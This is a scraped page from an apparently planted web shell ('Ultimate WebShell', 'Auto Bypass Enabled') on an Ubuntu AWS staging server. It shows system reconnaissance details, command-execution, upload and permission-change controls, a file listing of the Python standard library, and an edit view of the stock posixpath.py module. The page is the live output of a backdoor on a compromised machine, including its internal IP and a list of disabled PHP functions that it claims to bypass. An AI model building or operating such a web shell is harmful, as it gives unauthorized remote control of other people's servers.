WebShell Manager
Linux Stag-Enterprise-Staging-20-04 5.11.0-1019-aws #20~20.04.1-Ubuntu SMP Tue Sep 21 10:40:39 UTC 2021 x86_64
Apache
Server: 172.31.9.152
Your IP: 216.73.216.236
System Info
HOME
snap
core24
1643
usr
lib
python3.12
Command Execution
Execute
File Upload
Upload
New Folder
New File
Name
Type
Size
Permissions
Modified
Actions
..
Parent
-
drwxr-xr-x
2026-04-10 04:18:08
-
__phello__
Folder
-
0755
2026-04-10 04:18:08
__pycache__
Folder
-
0755
2026-04-10 04:18:08
asyncio
Folder
-
0755
2026-04-10 04:18:08
collections
Folder
-
0755
2026-04-10 04:18:08
concurrent
Folder
-
0755
2026-04-10 04:18:08
ctypes
Folder
-
0755
2026-04-10 04:18:08
curses
Folder
-
0755
2026-04-10 04:18:08
dbm
Folder
-
0755
2026-04-10 04:18:08
email
Folder
-
0755
2026-04-10 04:18:08
encodings
Folder
-
0755
2026-04-10 04:18:08
html
Folder
-
0755
2026-04-10 04:18:08
http
Folder
-
0755
2026-04-10 04:18:08
importlib
Folder
-
0755
2026-04-10 04:18:08
json
Folder
-
0755
2026-04-10 04:18:08
lib-dynload
Folder
-
0755
2026-04-10 04:18:08
logging
Folder
-
0755
2026-04-10 04:18:08
multiprocessing
Folder
-
0755
2026-04-10 04:18:08
pydoc_data
Folder
-
0755
2026-04-10 04:18:08
re
Folder
-
0755
2026-04-10 04:18:08
sqlite3
Folder
-
0755
2026-04-10 04:18:08
test
Folder
-
0755
2026-04-10 04:18:08
tomllib
Folder
-
0755
2026-04-10 04:18:08
unittest
Folder
-
0755
2026-04-10 04:18:08
urllib
Folder
-
0755
2026-04-10 04:18:08
venv
Folder
-
0755
2026-04-10 04:18:08
wsgiref
Folder
-
0755
2026-04-10 04:18:08
xml
Folder
-
0755
2026-04-10 04:18:08
xmlrpc
Folder
-
0755
2026-04-10 04:18:08
zipfile
Folder
-
0755
2026-04-10 04:18:08
zoneinfo
Folder
-
0755
2026-04-10 04:18:08
EXTERNALLY-MANAGED
File
645 B
0644
2026-03-03 12:15:18
LICENSE.txt
File
13.61 KB
0644
2026-03-03 12:15:18
__future__.py
File
5.1 KB
0644
2026-03-03 12:15:18
__hello__.py
File
227 B
0644
2026-03-03 12:15:18
_aix_support.py
File
3.93 KB
0644
2026-03-03 12:15:18
_collections_abc.py
File
31.33 KB
0644
2026-03-03 12:15:18
_compat_pickle.py
File
8.56 KB
0644
2026-03-03 12:15:18
_compression.py
File
5.55 KB
0644
2026-03-03 12:15:18
_distutils_system_mod.py
File
5.58 KB
0644
2026-03-03 12:15:18
_markupbase.py
File
14.31 KB
0644
2026-03-03 12:15:18
_osx_support.py
File
21.51 KB
0644
2026-03-03 12:15:18
_py_abc.py
File
6.04 KB
0644
2026-03-03 12:15:18
_pydatetime.py
File
89.94 KB
0644
2026-03-03 12:15:18
_pydecimal.py
File
223.85 KB
0644
2026-03-03 12:15:18
_pyio.py
File
91.4 KB
0644
2026-03-03 12:15:18
_pylong.py
File
8.83 KB
0644
2026-03-03 12:15:18
_sitebuiltins.py
File
3.05 KB
0644
2026-03-03 12:15:18
_strptime.py
File
24.04 KB
0644
2026-03-03 12:15:18
_sysconfigdata__linux_x86_64-linux-gnu.py
File
48.34 KB
0644
2026-03-03 12:15:18
_sysconfigdata__x86_64-linux-gnu.py
File
48.34 KB
0644
2026-03-03 12:15:18
_threading_local.py
File
7.05 KB
0644
2026-03-03 12:15:18
_weakrefset.py
File
5.75 KB
0644
2026-03-03 12:15:18
abc.py
File
6.38 KB
0644
2026-03-03 12:15:18
aifc.py
File
33.41 KB
0644
2026-03-03 12:15:18
antigravity.py
File
500 B
0644
2026-03-03 12:15:18
argparse.py
File
99.37 KB
0644
2026-03-03 12:15:18
ast.py
File
62.75 KB
0644
2026-03-03 12:15:18
base64.py
File
20.12 KB
0755
2026-03-03 12:15:18
bdb.py
File
31.7 KB
0644
2026-03-03 12:15:18
bisect.py
File
3.34 KB
0644
2026-03-03 12:15:18
bz2.py
File
11.57 KB
0644
2026-03-03 12:15:18
cProfile.py
File
6.4 KB
0755
2026-03-03 12:15:18
calendar.py
File
24.82 KB
0644
2026-03-03 12:15:18
cgi.py
File
33.61 KB
0755
2026-03-03 12:15:18
cgitb.py
File
12.13 KB
0644
2026-03-03 12:15:18
chunk.py
File
5.37 KB
0644
2026-03-03 12:15:18
cmd.py
File
14.52 KB
0644
2026-03-03 12:15:18
code.py
File
10.44 KB
0644
2026-03-03 12:15:18
codecs.py
File
36.01 KB
0644
2026-03-03 12:15:18
codeop.py
File
5.77 KB
0644
2026-03-03 12:15:18
colorsys.py
File
3.97 KB
0644
2026-03-03 12:15:18
compileall.py
File
20.12 KB
0644
2026-03-03 12:15:18
configparser.py
File
52.53 KB
0644
2026-03-03 12:15:18
contextlib.py
File
26.99 KB
0644
2026-03-03 12:15:18
contextvars.py
File
129 B
0644
2026-03-03 12:15:18
copy.py
File
8.21 KB
0644
2026-03-03 12:15:18
copyreg.py
File
7.44 KB
0644
2026-03-03 12:15:18
crypt.py
File
3.82 KB
0644
2026-03-03 12:15:18
csv.py
File
16 KB
0644
2026-03-03 12:15:18
dataclasses.py
File
60.31 KB
0644
2026-03-03 12:15:18
datetime.py
File
268 B
0644
2026-03-03 12:15:18
decimal.py
File
320 B
0644
2026-03-03 12:15:18
difflib.py
File
81.36 KB
0644
2026-03-03 12:15:18
dis.py
File
29.5 KB
0644
2026-03-03 12:15:18
doctest.py
File
103.98 KB
0644
2026-03-03 12:15:18
enum.py
File
79.72 KB
0644
2026-03-03 12:15:18
filecmp.py
File
9.95 KB
0644
2026-03-03 12:15:18
fileinput.py
File
15.35 KB
0644
2026-03-03 12:15:18
fnmatch.py
File
5.86 KB
0644
2026-03-03 12:15:18
fractions.py
File
37.17 KB
0644
2026-03-03 12:15:18
ftplib.py
File
33.92 KB
0644
2026-03-03 12:15:18
functools.py
File
37.23 KB
0644
2026-03-03 12:15:18
genericpath.py
File
5.44 KB
0644
2026-03-03 12:15:18
getopt.py
File
7.31 KB
0644
2026-03-03 12:15:18
getpass.py
File
5.85 KB
0644
2026-03-03 12:15:18
gettext.py
File
21.24 KB
0644
2026-03-03 12:15:18
glob.py
File
8.53 KB
0644
2026-03-03 12:15:18
graphlib.py
File
9.43 KB
0644
2026-03-03 12:15:18
gzip.py
File
24.28 KB
0644
2026-03-03 12:15:18
hashlib.py
File
9.13 KB
0644
2026-03-03 12:15:18
heapq.py
File
22.48 KB
0644
2026-03-03 12:15:18
hmac.py
File
7.54 KB
0644
2026-03-03 12:15:18
imaplib.py
File
52.43 KB
0644
2026-03-03 12:15:18
imghdr.py
File
4.29 KB
0644
2026-03-03 12:15:18
inspect.py
File
122.48 KB
0644
2026-03-03 12:15:18
io.py
File
3.5 KB
0644
2026-03-03 12:15:18
ipaddress.py
File
76.46 KB
0644
2026-03-03 12:15:18
keyword.py
File
1.05 KB
0644
2026-03-03 12:15:18
linecache.py
File
5.52 KB
0644
2026-03-03 12:15:18
locale.py
File
76.72 KB
0644
2026-03-03 12:15:18
lzma.py
File
12.97 KB
0644
2026-03-03 12:15:18
mailbox.py
File
77.06 KB
0644
2026-03-03 12:15:18
mailcap.py
File
9.11 KB
0644
2026-03-03 12:15:18
mimetypes.py
File
22.35 KB
0644
2026-03-03 12:15:18
modulefinder.py
File
23.14 KB
0644
2026-03-03 12:15:18
netrc.py
File
6.76 KB
0644
2026-03-03 12:15:18
nntplib.py
File
40.12 KB
0644
2026-03-03 12:15:18
ntpath.py
File
29.32 KB
0644
2026-03-03 12:15:18
nturl2path.py
File
2.82 KB
0644
2026-03-03 12:15:18
numbers.py
File
11.2 KB
0644
2026-03-03 12:15:18
opcode.py
File
12.87 KB
0644
2026-03-03 12:15:18
operator.py
File
10.71 KB
0644
2026-03-03 12:15:18
optparse.py
File
58.95 KB
0644
2026-03-03 12:15:18
os.py
File
38.85 KB
0644
2026-03-03 12:15:18
pathlib.py
File
49.95 KB
0644
2026-03-03 12:15:18
pdb.py
File
67.83 KB
0755
2026-03-03 12:15:18
pickle.py
File
63.38 KB
0644
2026-03-03 12:15:18
pickletools.py
File
91.66 KB
0644
2026-03-03 12:15:18
pipes.py
File
8.77 KB
0644
2026-03-03 12:15:18
pkgutil.py
File
17.85 KB
0644
2026-03-03 12:15:18
platform.py
File
42.32 KB
0755
2026-03-03 12:15:18
plistlib.py
File
27.91 KB
0644
2026-03-03 12:15:18
poplib.py
File
13.83 KB
0644
2026-03-03 12:15:18
posixpath.py
File
17.21 KB
0644
2026-03-03 12:15:18
pprint.py
File
23.59 KB
0644
2026-03-03 12:15:18
profile.py
File
22.55 KB
0755
2026-03-03 12:15:18
pstats.py
File
28.6 KB
0644
2026-03-03 12:15:18
pty.py
File
5.99 KB
0644
2026-03-03 12:15:18
py_compile.py
File
7.69 KB
0644
2026-03-03 12:15:18
pyclbr.py
File
11.13 KB
0644
2026-03-03 12:15:18
pydoc.py
File
110.44 KB
0755
2026-03-03 12:15:18
queue.py
File
11.23 KB
0644
2026-03-03 12:15:18
quopri.py
File
7.01 KB
0755
2026-03-03 12:15:18
random.py
File
33.87 KB
0644
2026-03-03 12:15:18
reprlib.py
File
6.42 KB
0644
2026-03-03 12:15:18
rlcompleter.py
File
7.64 KB
0644
2026-03-03 12:15:18
runpy.py
File
12.6 KB
0644
2026-03-03 12:15:18
sched.py
File
6.2 KB
0644
2026-03-03 12:15:18
secrets.py
File
1.94 KB
0644
2026-03-03 12:15:18
selectors.py
File
19.21 KB
0644
2026-03-03 12:15:18
shelve.py
File
8.36 KB
0644
2026-03-03 12:15:18
shlex.py
File
13.04 KB
0644
2026-03-03 12:15:18
shutil.py
File
56.76 KB
0644
2026-03-03 12:15:18
signal.py
File
2.44 KB
0644
2026-03-03 12:15:18
site.py
File
23.34 KB
0644
2026-03-03 12:15:18
sitecustomize.py
File
0 B
0
1970-01-01 00:00:00
smtplib.py
File
42.51 KB
0755
2026-03-03 12:15:18
sndhdr.py
File
7.27 KB
0644
2026-03-03 12:15:18
socket.py
File
36.53 KB
0644
2026-03-03 12:15:18
socketserver.py
File
27.2 KB
0644
2026-03-03 12:15:18
sre_compile.py
File
231 B
0644
2026-03-03 12:15:18
sre_constants.py
File
232 B
0644
2026-03-03 12:15:18
sre_parse.py
File
229 B
0644
2026-03-03 12:15:18
ssl.py
File
49.63 KB
0644
2026-03-03 12:15:18
stat.py
File
5.36 KB
0644
2026-03-03 12:15:18
statistics.py
File
49.05 KB
0644
2026-03-03 12:15:18
string.py
File
11.51 KB
0644
2026-03-03 12:15:18
stringprep.py
File
12.61 KB
0644
2026-03-03 12:15:18
struct.py
File
257 B
0644
2026-03-03 12:15:18
subprocess.py
File
86.65 KB
0644
2026-03-03 12:15:18
sunau.py
File
18.04 KB
0644
2026-03-03 12:15:18
symtable.py
File
10.5 KB
0644
2026-03-03 12:15:18
sysconfig.py
File
32 KB
0644
2026-03-03 12:15:18
tabnanny.py
File
11.26 KB
0755
2026-03-03 12:15:18
tarfile.py
File
109.92 KB
0755
2026-03-03 12:15:18
telnetlib.py
File
22.75 KB
0644
2026-03-03 12:15:18
tempfile.py
File
36.46 KB
0644
2026-03-03 12:15:18
textwrap.py
File
19.26 KB
0644
2026-03-03 12:15:18
this.py
File
1003 B
0644
2026-03-03 12:15:18
threading.py
File
58.71 KB
0644
2026-03-03 12:15:18
timeit.py
File
13.15 KB
0755
2026-03-03 12:15:18
token.py
File
2.42 KB
0644
2026-03-03 12:15:18
tokenize.py
File
20.72 KB
0644
2026-03-03 12:15:18
trace.py
File
28.5 KB
0755
2026-03-03 12:15:18
traceback.py
File
45.24 KB
0644
2026-03-03 12:15:18
tracemalloc.py
File
17.62 KB
0644
2026-03-03 12:15:18
tty.py
File
1.99 KB
0644
2026-03-03 12:15:18
turtle.py
File
142.93 KB
0644
2026-03-03 12:15:18
types.py
File
10.74 KB
0644
2026-03-03 12:15:18
typing.py
File
114.68 KB
0644
2026-03-03 12:15:18
uu.py
File
7.19 KB
0755
2026-03-03 12:15:18
uuid.py
File
28.96 KB
0644
2026-03-03 12:15:18
warnings.py
File
21.25 KB
0644
2026-03-03 12:15:18
wave.py
File
22.24 KB
0644
2026-03-03 12:15:18
weakref.py
File
21.01 KB
0644
2026-03-03 12:15:18
webbrowser.py
File
23.07 KB
0755
2026-03-03 12:15:18
xdrlib.py
File
5.8 KB
0644
2026-03-03 12:15:18
zipapp.py
File
7.37 KB
0644
2026-03-03 12:15:18
zipimport.py
File
27.47 KB
0644
2026-03-03 12:15:18
0
items selected
Choose Action...
Delete Selected
Zip Selected
Unzip Selected
Execute Action
Clear Selection
© Ultimate WebShell | Auto Bypass Enabled
Create New Folder
Create New File
Edit File: posixpath.py
"""Common operations on Posix pathnames. Instead of importing this module directly, import os and refer to this module as os.path. The "os.path" name is an alias for this module on Posix systems; on other systems (e.g. Windows), os.path provides the same operations in a manner specific to that platform, and is an alias to another module (e.g. ntpath). Some of this can actually be useful on non-Posix systems too, e.g. for manipulation of the pathname component of URLs. """ # Strings representing various path-related bits and pieces. # These are primarily for export; internally, they are hardcoded. # Should be set before imports for resolving cyclic dependency. curdir = '.' pardir = '..' extsep = '.' sep = '/' pathsep = ':' defpath = '/bin:/usr/bin' altsep = None devnull = '/dev/null' import os import sys import stat import genericpath from genericpath import * __all__ = ["normcase","isabs","join","splitdrive","splitroot","split","splitext", "basename","dirname","commonprefix","getsize","getmtime", "getatime","getctime","islink","exists","lexists","isdir","isfile", "ismount", "expanduser","expandvars","normpath","abspath", "samefile","sameopenfile","samestat", "curdir","pardir","sep","pathsep","defpath","altsep","extsep", "devnull","realpath","supports_unicode_filenames","relpath", "commonpath", "isjunction", "ALLOW_MISSING"] def _get_sep(path): if isinstance(path, bytes): return b'/' else: return '/' # Normalize the case of a pathname. Trivial in Posix, string.lower on Mac. # On MS-DOS this may also turn slashes into backslashes; however, other # normalizations (such as optimizing '../' away) are not allowed # (another function should be defined to do that). def normcase(s): """Normalize case of pathname. Has no effect under Posix""" return os.fspath(s) # Return whether a path is absolute. # Trivial in Posix, harder on the Mac or MS-DOS. def isabs(s): """Test whether a path is absolute""" s = os.fspath(s) sep = _get_sep(s) return s.startswith(sep) # Join pathnames. # Ignore the previous parts if a part is absolute. # Insert a '/' unless the first part is empty or already ends in '/'. def join(a, *p): """Join two or more pathname components, inserting '/' as needed. If any component is an absolute path, all previous path components will be discarded. An empty last part will result in a path that ends with a separator.""" a = os.fspath(a) sep = _get_sep(a) path = a try: if not p: path[:0] + sep #23780: Ensure compatible data type even if p is null. for b in map(os.fspath, p): if b.startswith(sep): path = b elif not path or path.endswith(sep): path += b else: path += sep + b except (TypeError, AttributeError, BytesWarning): genericpath._check_arg_types('join', a, *p) raise return path # Split a path in head (everything up to the last '/') and tail (the # rest). If the path ends in '/', tail will be empty. If there is no # '/' in the path, head will be empty. # Trailing '/'es are stripped from head unless it is the root. def split(p): """Split a pathname. Returns tuple "(head, tail)" where "tail" is everything after the final slash. Either part may be empty.""" p = os.fspath(p) sep = _get_sep(p) i = p.rfind(sep) + 1 head, tail = p[:i], p[i:] if head and head != sep*len(head): head = head.rstrip(sep) return head, tail # Split a path in root and extension. # The extension is everything starting at the last dot in the last # pathname component; the root is everything before that. # It is always true that root + ext == p. def splitext(p): p = os.fspath(p) if isinstance(p, bytes): sep = b'/' extsep = b'.' else: sep = '/' extsep = '.' return genericpath._splitext(p, sep, None, extsep) splitext.__doc__ = genericpath._splitext.__doc__ # Split a pathname into a drive specification and the rest of the # path. Useful on DOS/Windows/NT; on Unix, the drive is always empty. def splitdrive(p): """Split a pathname into drive and path. On Posix, drive is always empty.""" p = os.fspath(p) return p[:0], p def splitroot(p): """Split a pathname into drive, root and tail. On Posix, drive is always empty; the root may be empty, a single slash, or two slashes. The tail contains anything after the root. For example: splitroot('foo/bar') == ('', '', 'foo/bar') splitroot('/foo/bar') == ('', '/', 'foo/bar') splitroot('//foo/bar') == ('', '//', 'foo/bar') splitroot('///foo/bar') == ('', '/', '//foo/bar') """ p = os.fspath(p) if isinstance(p, bytes): sep = b'/' empty = b'' else: sep = '/' empty = '' if p[:1] != sep: # Relative path, e.g.: 'foo' return empty, empty, p elif p[1:2] != sep or p[2:3] == sep: # Absolute path, e.g.: '/foo', '///foo', '////foo', etc. return empty, sep, p[1:] else: # Precisely two leading slashes, e.g.: '//foo'. Implementation defined per POSIX, see # https://pubs.opengroup.org/onlinepubs/9699919799/basedefs/V1_chap04.html#tag_04_13 return empty, p[:2], p[2:] # Return the tail (basename) part of a path, same as split(path)[1]. def basename(p): """Returns the final component of a pathname""" p = os.fspath(p) sep = _get_sep(p) i = p.rfind(sep) + 1 return p[i:] # Return the head (dirname) part of a path, same as split(path)[0]. def dirname(p): """Returns the directory component of a pathname""" p = os.fspath(p) sep = _get_sep(p) i = p.rfind(sep) + 1 head = p[:i] if head and head != sep*len(head): head = head.rstrip(sep) return head # Is a path a junction? def isjunction(path): """Test whether a path is a junction Junctions are not a part of posix semantics""" os.fspath(path) return False # Being true for dangling symbolic links is also useful. def lexists(path): """Test whether a path exists. Returns True for broken symbolic links""" try: os.lstat(path) except (OSError, ValueError): return False return True # Is a path a mount point? # (Does this work for all UNIXes? Is it even guaranteed to work by Posix?) def ismount(path): """Test whether a path is a mount point""" try: s1 = os.lstat(path) except (OSError, ValueError): # It doesn't exist -- so not a mount point. :-) return False else: # A symlink can never be a mount point if stat.S_ISLNK(s1.st_mode): return False path = os.fspath(path) if isinstance(path, bytes): parent = join(path, b'..') else: parent = join(path, '..') parent = realpath(parent) try: s2 = os.lstat(parent) except (OSError, ValueError): return False dev1 = s1.st_dev dev2 = s2.st_dev if dev1 != dev2: return True # path/.. on a different device as path ino1 = s1.st_ino ino2 = s2.st_ino if ino1 == ino2: return True # path/.. is the same i-node as path return False # Expand paths beginning with '~' or '~user'. # '~' means $HOME; '~user' means that user's home directory. # If the path doesn't begin with '~', or if the user or $HOME is unknown, # the path is returned unchanged (leaving error reporting to whatever # function is called with the expanded path as argument). # See also module 'glob' for expansion of *, ? and [...] in pathnames. # (A function should also be defined to do full *sh-style environment # variable expansion.) def expanduser(path): """Expand ~ and ~user constructions. If user or $HOME is unknown, do nothing.""" path = os.fspath(path) if isinstance(path, bytes): tilde = b'~' else: tilde = '~' if not path.startswith(tilde): return path sep = _get_sep(path) i = path.find(sep, 1) if i < 0: i = len(path) if i == 1: if 'HOME' not in os.environ: try: import pwd except ImportError: # pwd module unavailable, return path unchanged return path try: userhome = pwd.getpwuid(os.getuid()).pw_dir except KeyError: # bpo-10496: if the current user identifier doesn't exist in the # password database, return the path unchanged return path else: userhome = os.environ['HOME'] else: try: import pwd except ImportError: # pwd module unavailable, return path unchanged return path name = path[1:i] if isinstance(name, bytes): name = str(name, 'ASCII') try: pwent = pwd.getpwnam(name) except KeyError: # bpo-10496: if the user name from the path doesn't exist in the # password database, return the path unchanged return path userhome = pwent.pw_dir # if no user home, return the path unchanged on VxWorks if userhome is None and sys.platform == "vxworks": return path if isinstance(path, bytes): userhome = os.fsencode(userhome) root = b'/' else: root = '/' userhome = userhome.rstrip(root) return (userhome + path[i:]) or root # Expand paths containing shell variable substitutions. # This expands the forms $variable and ${variable} only. # Non-existent variables are left unchanged. _varpattern = r'\$(\w+|\{[^}]*\}?)' _varsub = None _varsubb = None def expandvars(path): """Expand shell variables of form $var and ${var}. Unknown variables are left unchanged.""" path = os.fspath(path) global _varsub, _varsubb if isinstance(path, bytes): if b'$' not in path: return path if not _varsubb: import re _varsubb = re.compile(_varpattern.encode(), re.ASCII).sub sub = _varsubb start = b'{' end = b'}' environ = getattr(os, 'environb', None) else: if '$' not in path: return path if not _varsub: import re _varsub = re.compile(_varpattern, re.ASCII).sub sub = _varsub start = '{' end = '}' environ = os.environ def repl(m): name = m[1] if name.startswith(start): if not name.endswith(end): return m[0] name = name[1:-1] try: if environ is None: value = os.fsencode(os.environ[os.fsdecode(name)]) else: value = environ[name] except KeyError: return m[0] else: return value return sub(repl, path) # Normalize a path, e.g. A//B, A/./B and A/foo/../B all become A/B. # It should be understood that this may change the meaning of the path # if it contains symbolic links! try: from posix import _path_normpath except ImportError: def normpath(path): """Normalize path, eliminating double slashes, etc.""" path = os.fspath(path) if isinstance(path, bytes): sep = b'/' empty = b'' dot = b'.' dotdot = b'..' else: sep = '/' empty = '' dot = '.' dotdot = '..' if path == empty: return dot _, initial_slashes, path = splitroot(path) comps = path.split(sep) new_comps = [] for comp in comps: if comp in (empty, dot): continue if (comp != dotdot or (not initial_slashes and not new_comps) or (new_comps and new_comps[-1] == dotdot)): new_comps.append(comp) elif new_comps: new_comps.pop() comps = new_comps path = initial_slashes + sep.join(comps) return path or dot else: def normpath(path): """Normalize path, eliminating double slashes, etc.""" path = os.fspath(path) if isinstance(path, bytes): return os.fsencode(_path_normpath(os.fsdecode(path))) or b"." return _path_normpath(path) or "." def abspath(path): """Return an absolute path.""" path = os.fspath(path) if not isabs(path): if isinstance(path, bytes): cwd = os.getcwdb() else: cwd = os.getcwd() path = join(cwd, path) return normpath(path) # Return a canonical path (i.e. the absolute location of a file on the # filesystem). def realpath(filename, *, strict=False): """Return the canonical path of the specified filename, eliminating any symbolic links encountered in the path.""" filename = os.fspath(filename) path, ok = _joinrealpath(filename[:0], filename, strict, {}) return abspath(path) # Join two paths, normalizing and eliminating any symbolic links # encountered in the second path. def _joinrealpath(path, rest, strict, seen): if isinstance(path, bytes): sep = b'/' curdir = b'.' pardir = b'..' else: sep = '/' curdir = '.' pardir = '..' getcwd = os.getcwd if strict is ALLOW_MISSING: ignored_error = FileNotFoundError elif strict: ignored_error = () else: ignored_error = OSError maxlinks = None if isabs(rest): rest = rest[1:] path = sep while rest: name, _, rest = rest.partition(sep) if not name or name == curdir: # current dir continue if name == pardir: # parent dir if path: path, name = split(path) if name == pardir: path = join(path, pardir, pardir) else: path = pardir continue newpath = join(path, name) try: st = os.lstat(newpath) except ignored_error: is_link = False else: is_link = stat.S_ISLNK(st.st_mode) if not is_link: path = newpath continue # Resolve the symbolic link if newpath in seen: # Already seen this path path = seen[newpath] if path is not None: # use cached value continue # The symlink is not resolved, so we must have a symlink loop. if strict: # Raise OSError(errno.ELOOP) os.stat(newpath) else: # Return already resolved part + rest of the path unchanged. return join(newpath, rest), False seen[newpath] = None # not resolved symlink path, ok = _joinrealpath(path, os.readlink(newpath), strict, seen) if not ok: return join(path, rest), False seen[newpath] = path # resolved symlink return path, True supports_unicode_filenames = (sys.platform == 'darwin') def relpath(path, start=None): """Return a relative version of a path""" if not path: raise ValueError("no path specified") path = os.fspath(path) if isinstance(path, bytes): curdir = b'.' sep = b'/' pardir = b'..' else: curdir = '.' sep = '/' pardir = '..' if start is None: start = curdir else: start = os.fspath(start) try: start_list = [x for x in abspath(start).split(sep) if x] path_list = [x for x in abspath(path).split(sep) if x] # Work out how much of the filepath is shared by start and path. i = len(commonprefix([start_list, path_list])) rel_list = [pardir] * (len(start_list)-i) + path_list[i:] if not rel_list: return curdir return join(*rel_list) except (TypeError, AttributeError, BytesWarning, DeprecationWarning): genericpath._check_arg_types('relpath', path, start) raise # Return the longest common sub-path of the sequence of paths given as input. # The paths are not normalized before comparing them (this is the # responsibility of the caller). Any trailing separator is stripped from the # returned path. def commonpath(paths): """Given a sequence of path names, returns the longest common sub-path.""" if not paths: raise ValueError('commonpath() arg is an empty sequence') paths = tuple(map(os.fspath, paths)) if isinstance(paths[0], bytes): sep = b'/' curdir = b'.' else: sep = '/' curdir = '.' try: split_paths = [path.split(sep) for path in paths] try: isabs, = set(p[:1] == sep for p in paths) except ValueError: raise ValueError("Can't mix absolute and relative paths") from None split_paths = [[c for c in s if c and c != curdir] for s in split_paths] s1 = min(split_paths) s2 = max(split_paths) common = s1 for i, c in enumerate(s1): if c != s2[i]: common = s1[:i] break prefix = sep if isabs else sep[:0] return prefix + sep.join(common) except (TypeError, AttributeError): genericpath._check_arg_types('commonpath', *paths) raise
Rename
Change Permissions
Common permissions: 755 (rwxr-xr-x), 644 (rw-r--r--), 777 (rwxrwxrwx)
System Information
Uname: Linux Stag-Enterprise-Staging-20-04 5.11.0-1019-aws #20~20.04.1-Ubuntu SMP Tue Sep 21 10:40:39 UTC 2021 x86_64 Software: Apache PHP Version: 7.4.3-4ubuntu2.29 Protocol: HTTP/1.1 Server IP: 172.31.9.152 Your IP: 216.73.216.236 Mail: ON Curl: ON Owner: www-data MySQL: ON Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, Auto Bypass: ENABLED